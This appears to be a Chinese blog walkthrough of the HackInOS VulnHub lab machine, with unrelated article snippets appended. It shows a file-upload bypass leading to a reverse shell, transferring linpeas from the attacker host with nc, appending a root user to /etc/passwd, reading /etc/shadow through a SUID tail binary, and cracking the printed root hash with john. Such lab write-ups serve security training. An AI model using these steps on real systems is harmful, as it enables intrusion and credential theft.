实战打靶集锦-025-HackInOS
文章目录
- 1. 主机发现
- 2. 端口扫描
- 3. 服务枚举
- 4. 服务探查
- 5. 提权
- 5.1 枚举系统信息
- 5.2 探索一下passwd
- 5.3 枚举可执行文件
- 5.4 查看capabilities位
- 5.5 目录探索
- 5.6 枚举定时任务
- 5.7 Linpeas提权
靶机地址:https://download.vulnhub.com/hackinos/HackInOS.ova
1. 主机发现
目前只知道目标靶机在192.168.232.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.232.0/24
锁定目标靶机IP为192.168.232.145。
2. 端口扫描
通过下面的命令进行端口扫描。
$ sudo nmap -p 1-65535 192.168.232.145
暴露的端口不多,看来只能先从8000端口下手了。
3. 服务枚举
通过下面的命令进行服务枚举。
$ sudo nmap -p22,8000 -A -sT -sV 192.168.232.145
4. 服务探查
先通过浏览器访问一下8000端口看一下。
貌似是一个基于WoePress的Blog站点,不过比较有意思的是,所有的超链接都指向了localhost,就算我在kali上将localhost指向了靶机,还是无法访问,但是手工在浏览器里面将localhost修改成靶机IP地址就可以访问。就算修改了/etc/hosts也不会生效,不过手工ping这个localhost是可以跳转到我们的靶机地址的。
先用wpscan扫描一下再说吧。
$ wpscan --url http://192.168.232.145:8000/
扫出了一点东西,但是感觉价值没有那么高,先看看对应的robots文件。
进去看看。
upload.php页面可以上传突破文件,不过uploads目录不允许访问,估计是做了限制,不过这里应该是显示上传的文件的列表,试了一下确实可以上传成功,不过这里看不到。枚举一下目录吧。
$ dirsearch -u http://192.168.232.145:8000/
没有太特殊的内容发现,再用dirb挂载big字典看看。
$ dirb http://192.168.232.145:8000/ /usr/share/wordlists/dirb/big.txt -X .php
跟之前的扫描没啥区别,唯一多出来的一个/wp-trackback.php,里面也没有什么特殊内容,如下图。
果断放弃了,还是看看apache和wordpress有没有可用的EXP吧,遗憾的是也没有找到合适的。
回顾前面的操作,貌似大概率可能突破边界的地方还是上传文件的地方,回过头去再看看。
这个页面实在是简单的不能再简单了,上传一个图片文件和php脚本分别看看有啥反应。
没有太多的规律性,现在的关键是找到上传的内容去了哪里,先看看Submit按钮的源代码吧。
也没啥特殊的,不过最后的注释行里面有个git上的项目,看看这里面是否有我们需要的内容。
尤其是第二个,感觉就是这个靶机的一个打靶线索啊,竟然有这种好事,简直是救命稻草,进去看看。
这不是打靶的线索,是对于这个靶机的描述,还是看看README.md和upload.php两个文件吧。
果真是文件上传的逻辑,大致是在元文件名后面添加1~100的随机数,然后再计算MD5作为新文件名,文件上传到/uploads/目录下;如果上传的是图片文件(mime类型为image/png或者image/gif),返回“file uploaded xxx”如果是其它文件,返回“😃”,看来我们之前显示的“😃”都是因为上传失败了。
知道了这个大致逻辑,我们就可以尝试枚举我们上传后的文件的文件名了。思路如下:
先构建一个带有反弹shell的php文件,文件头添加GIF8以绕过文件类型检查,如下图。
然后这个文件名后面添加1~100的数字并计算出MD5作为新的文件名,将这些文件名写到一个文件里面作为字典,然后用dirb进行爆破,应该是可以爆破出上传文件的文件名。
我们的php文件如上图所示,然后分别将对应的文件名加上1~100,即revers1、revers2、revers3、revers4 …,然后将文件名计算MD5后放到文本文件中作为字典(用python脚本生成)。
生成的字典如上图所示,用于生成字典的脚本如下图所示。
接下来我们开始上传带有反弹shell的php脚本revers.php。
根据代码中的逻辑,上图所示的信息显示时,代表上传成功了,然后我们用dirb挂上前面产生的字典枚举一下看看。
$ dirb http://192.168.232.145:8000/uploads/ my_dict.txt
好奇怪,我上传了N次,不应该枚举出来是空的。不知道是不是我本地的revers.php文件和python脚本、my_dict.txt字典不在同一个目录的原因,将revers.php文件拷贝到跟my_dict.txt同一个目录下再试一遍,顺利被枚举出来了,如下图。
接下来,在kali上的4444端口上建立监听,然后手工访问一下上面的文件试试看。
访问不成功,反弹shell也没有建立,前面枚举出来的两个文件都是这样的问题。再回过头来看看刚才枚举出来的文件还在不在。
空了,可能服务器后台有对上传的文件进行定时清理的机制,在我磨蹭的过程中被清理掉了。这次先建立好监听,然后快速上传,枚举出来以后直接访问一下。
嗯,这次建立反弹shell成功了,不过浏览器访问上传的文件的时候,还是提示not found。
5. 提权
先优化一下shell。
$ whereis python
$ /usr/bin/python3.5 -c "import pty;pty.spawn('/bin/bash')"
这次看上去稍微正常一点了。
5.1 枚举系统信息
$ uname -a
$ cat /etc/*-release
是64位的Ubuntu 16.04.1。
5.2 探索一下passwd
$ cat /etc/passwd | grep -v nologin
从显示结果来看,除了root没有比较正常的用户可以通过shell登录。尝试写入一个用户。
$ openssl passwd test123
$ echo "testusr:$1$PR0EMvBa$Y6BsWQAQVRKB3ZfEnS1Ow0:0:0:root:/root:/bin/bash" >> /etc/passwd
没有权限。
5.3 枚举可执行文件
www-data@1afdd1f6b82c:/$ sudo -l
无法执行sudo。
www-data@1afdd1f6b82c:/home$ find / -user root -perm -4000 2>/dev/null
貌似没有可以用于提权的可执行文件。
5.4 查看capabilities位
www-data@1afdd1f6b82c:/home$ /usr/sbin/getcap -r / 2>/dev/null
没有合适的capabilities。
5.5 目录探索
先查看一下当前用户的家目录下都有些啥。
www-data@1afdd1f6b82c:/home$ cd ~/
www-data@1afdd1f6b82c:/home$ ls -lah
就是我们前面目录枚举是看到的内容,那个神奇的uploads目录也赫然在列,也没啥特殊的,还得用linpeas搞一下。
5.6 枚举定时任务
www-data@1afdd1f6b82c:/tmp$ cat /etc/crontab
5.7 Linpeas提权
嗯,靶机上竟然不能使用wget,看看有没有nc。
nc是可以的,通过nc上传linpeas.sh。
Kali主机:$ nc -lvnp 9999 < linpeas.sh
靶机上:$ nc 192.168.232.129 9999 > linpeas.sh
顺利传输成功。
运行一下。
www-data@1afdd1f6b82c:/home$ chmod u+x linpeas.sh
www-data@1afdd1f6b82c:/home$ sh linpeas.sh
可惜没看到有合适的提权提示,只有一个/usr/bin/tail(其实前面我们枚举可执行文件的时候就枚举出来了,不过不会用。。),如下图。
网上搜了半天,只找到了一篇文章,还不太会用。但是大致意思是通过具备SUID的命令可以临时获得对应文件的属主的权限?我们参照这篇文章(https://juggernaut-sec.com/suid-sgid-lpe/
),用/etc/passwd文件试试看。
貌似没有我们想想的那么简单。不过按照上面的说法,我们是不是可以用tail想看啥文件就看啥文件?我们试试分别用cat和tail获取一下shadow文件的内容试试看。
www-data@1afdd1f6b82c:/tmp$ cat /etc/shadow
www-data@1afdd1f6b82c:/tmp$ /usr/bin/tail -c1G /etc/shadow
确实如上面的猜测,cat看不到shadow文件的内容,tail是可以的,并且在shadow中捞到了root用户的密码信息: 6 说明算法用的是 S H A − 512 ,中间的 6说明算法用的是SHA-512,中间的 6说明算法用的是SHA−512,中间的qoj6/JJi是盐值,再往后才是密文。
手工看看能不能从中解析出真正的密码。
使用hash-identifier没有收获,再用john试试看。
$ echo '$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/' > root_pass.txt
$ john root_pass.txt
难道这个john就算是root的密码了?直接切换到root用户试试看吧。
还真是这样子,第一次从shadow文件中解析密码,又学了一招,获取一下flag。
提权成功。
相关文章:

实战打靶集锦-025-HackInOS
文章目录 1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查5. 提权5.1 枚举系统信息5.2 探索一下passwd5.3 枚举可执行文件5.4 查看capabilities位5.5 目录探索5.6 枚举定时任务5.7 Linpeas提权 靶机地址:https://download.vulnhub.com/hackinos/HackInOS.ova 1. 主机…...

list.stream().forEach()和list.forEach()的区别
list.stream().forEach() 和 list.forEach() 在 Java 中都是用于遍历集合元素的方法,但它们在使用场景和功能上有所不同: list.forEach(): 是从 Java 8 开始引入到 java.util.List 接口的标准方法。直接对列表进行迭代,它采用内部…...

JS基础之JSON对象
JS基础之JSON对象 目录 JS基础之JSON对象对象转JSON字符串JSON转JS对象 对象转JSON字符串 JSON.stringify(value,replacer,space) value:要转换的JS对象 replacer:(可选)用于过滤和转换结果的函数或数组 space:(可选)指定缩进量 // 创建JS对象 let date {name:"张三…...

嵌入式学习之Linux入门篇——使用VMware创建Unbuntu虚拟机
目录 主机硬件要求 VMware 安装 安装Unbuntu 18.04.6 LTS 新建虚拟机 进入Unbuntu安装环节 主机硬件要求 内存最少16G 硬盘最好分出一个单独的盘,而且最少预留200G,可以使用移动固态操作系统win7/10/11 VMware 安装 版本:VMware Works…...

大模型中的token是什么?
定义 大模型的"token"是指在自然语言处理(NLP)任务中,模型所使用的输入数据的最小单元。这些token可以是单词、子词或字符等,具体取决于模型的设计和训练方式。 大模型的token可以是单词级别的,也可以是子…...

跳表是一种什么样的数据结构
跳表是有序集合的底层数据结构,它其实是链表的一种进化体。正常链表是一个接着一个用指针连起来的,但这样查找效率低只有O(n),为了解决这个问题,提出了跳表,实际上就是增加了高级索引。朴素的跳表指针是单向的并且元素…...

【刷题记录】最大公因数,最小公倍数(辗转相除法、欧几里得算法)
本系列博客为个人刷题思路分享,有需要借鉴即可。 1.题目链接: 无 2.详解思路: 题目描述:输入两个正整数,输出其最大公因数和最小公倍数 一般方法:最大公因数:穷加法;最小公倍数&…...

ETL快速拉取物流信息
我国作为世界第一的物流大国,但是在目前的物流信息系统还存在着几大的痛点。主要包括以下几个方面: 数据孤岛:有些物流企业各个部门之间的数据标准不一致,难以实现数据共享和协同,容易导致信息孤岛。 操作繁琐&#x…...

17.1 SpringMVC框架_SpringMVC入门与数据绑定(❤❤)
17.1 SpringMVC框架_SpringMVC入门与数据绑定 1. SpringMVC入门1.1 MVC介绍1.2 环境配置1. 依赖引入2. web配置文件:DispatchServlet配置3. applicationContext.xml配置4. 开发Controller控制器(❤❤)1.3 MVC处理流程图2. Spring MVC数据绑定2.1 URL Mapping2.2 URL Mapping三个…...

Leetcode 11.盛水最多的容器
题目 给定一个长度为 n 的整数数组 height 。有 n 条垂线,第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。 找出其中的两条线,使得它们与 x 轴共同构成的容器可以容纳最多的水。 返回容器可以储存的最大水量。 说明:你不能倾斜容器。…...

《Go 简易速速上手小册》第7章:包管理与模块(2024 最新版)
文章目录 7.1 使用 Go Modules 管理依赖 - 掌舵向未来7.1.1 基础知识讲解7.1.2 重点案例:Web 服务功能描述实现步骤扩展功能7.1.3 拓展案例 1:使用数据库功能描述实现步骤扩展功能7.1.4 拓展案例 2:集成 Redis 缓存功能描述实现步骤...

【论文精读】IBOT
摘要 掩码语言建模(MLM)是一种流行的语言模型预训练范式,在nlp领域取得了巨大的成功。然而,它对视觉Transformer (ViT)的潜力尚未得到充分开发。为在视觉领域延续MLM的成功,故而探索掩码图像建模(MIM),以训练更好的视觉transforme…...

Yolo V5在实时视频流中的建筑物与彩钢房检测:性能评估与改进方法
Yolo V5在实时视频流中的建筑物与彩钢房检测:性能评估与改进方法 文章目录 Yolo V5在实时视频流中的建筑物与彩钢房检测:性能评估与改进方法概述Yolo V5模型概述建筑物与彩钢房检测的挑战实时视频流处理流程模型性能评估改进方法实验与分析结论与展望 概…...

图——最小生成树实现(Kruskal算法,prime算法)
目录 预备知识: 最小生成树概念: Kruskal算法: 代码实现如下: 测试: Prime算法 : 代码实现如下: 测试: 结语: 预备知识: 连通图:在无向图…...

Unity3D xLua开发环境搭建详解
前言 xLua是一种基于Lua语言的开发框架,可以帮助开发者在Unity3D中使用Lua脚本来开发游戏。 对惹,这里有一个游戏开发交流小组,希望大家可以点击进来一起交流一下开发经验呀! 在本文中,我们将详细介绍如何搭建Unity…...

Python笔记-super().init(root)的作用
假设我们有一个名为Animal的父类,它有一个属性color,在其构造函数__init__中被初始化: class Animal:def __init__(self, color):self.color color现在,我们想创建一个Animal的子类,名为Dog。Dog类有自己的属性name&…...

【git 使用】使用 git rebase -i 修改任意的提交信息/合并多个提交
修改最近一次的提交信息的方法有很多,可以参考这篇文章,但是对于之前的提交信息进行修改只能使用 rebase。 修改提交信息 假设我们想修改下面这个提交信息,想把【登录】改成【退出登录】步骤如下 运行 git rebase -i head~3 打开了一个文本…...

【Vue3】toRefs和toRef在reactive中的一些应用
💗💗💗欢迎来到我的博客,你将找到有关如何使用技术解决问题的文章,也会找到某个技术的学习路线。无论你是何种职业,我都希望我的博客对你有所帮助。最后不要忘记订阅我的博客以获取最新文章,也欢…...

力扣精选算法100道——Z字形变换(模拟专题)
目录 🎈了解题意 🎈算法原理 🚩先处理第一行和最后一行 🚩再处理中间行 🎈实现代码 🎈了解题意 大家看到这个题目的时候肯定是很迷茫的,包括我自己也是搞不清楚题目什么意思,我…...

Elastic Stack--01--简介、安装
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 1. Elastic Stack 简介为什么要学习ESDB-Engines搜索引擎类数据库排名常年霸榜
.NET项目web自动化测试实战——Selenium 2.0
🔥 交流讨论:欢迎加入我们一起学习! 🔥 资源分享:耗时200小时精选的「软件测试」资料包 🔥 教程推荐:火遍全网的《软件测试》教程 📢欢迎点赞 👍 收藏 ⭐留言 …...

【Day53】代码随想录之动态规划_买卖股票ⅠⅡ
文章目录 动态规划理论基础动规五部曲:出现结果不正确: 1. 买卖股票的最佳时机2. 买卖股票的最佳时机Ⅱ 动态规划理论基础 动规五部曲: 确定dp数组 下标及dp[i] 的含义。递推公式:比如斐波那契数列 dp[i] dp[i-1] dp[i-2]。初…...

Swift Combine 使用调试器调试管道 从入门到精通二十六
Combine 系列 Swift Combine 从入门到精通一Swift Combine 发布者订阅者操作者 从入门到精通二Swift Combine 管道 从入门到精通三Swift Combine 发布者publisher的生命周期 从入门到精通四Swift Combine 操作符operations和Subjects发布者的生命周期 从入门到精通五Swift Com…...

go内置库函数实现client与server数据的发送接收
功能:客户端持续写入数据,直到输入exit退出,服务端读取数据并打印 注意:server和client目录在同一层级 服务端 server/main package mainimport ("fmt""net" )func main() {listen, err : net.Listen(&quo…...

[java基础揉碎]this
引出this: 什么是this: java虚拟机会给每个对象分配 this,代表当前对象。 这里的this就是new出来的这个对象 this的本质: this是个引用在堆中指向它自己: this的细节: 访问成员方法: 访问构造器:...

vulnhub靶场之Deathnote
一.环境搭建 1.靶场描述 Level - easy Description : dont waste too much time thinking outside the box . It is a Straight forward box . This works better with VirtualBox rather than VMware 2.靶场下载 https://www.vulnhub.com/entry/deathnote-1,739/ 3.启动环…...

Docker安装Postgresql12
1、搜索仓库中postgres docker search postgres 2、拉取镜像 docker pull postgres docker pull postgres:12 #拉取12版本的PG库 3、创建数据库文件夹 cd /temp/ && mkdir -m 755 postgres-data 注:-m表示权限,类chmod命令 4、执行命令启动…...

服务器防火墙的应用技术有哪些类型?
随着互联网的发展,网络安全问题更加严峻。服务器防火墙技术作为一种基础的网络安全技术,对于保障我们的网络安全至关重要。本文将介绍服务器防火墙的概念和作用,以及主要的服务器防火墙技术,包括数据包过滤、状态检测、代理服务、…...

IP地理位置查询定位:技术原理与实际应用
在互联网时代,IP地址是连接世界的桥梁,而了解IP地址的地理位置对于网络管理、个性化服务以及安全监控都至关重要。IP数据云将深入探讨IP地理位置查询定位的技术原理、实际应用场景以及相关的隐私保护问题,旨在为读者提供全面了解和应用该技术…...

hbuilder运行不了php文件是什么原因?
如果 HBuilder 无法运行 PHP 文件,可能是由于以下几个常见原因导致的: 未安装 PHP 解释器: HBuilder 需要安装 PHP 解释器才能运行 PHP 文件。请确保您的系统中已经安装了 PHP,并且已正确配置了环境变量。 PHP 解释器路径错误&…...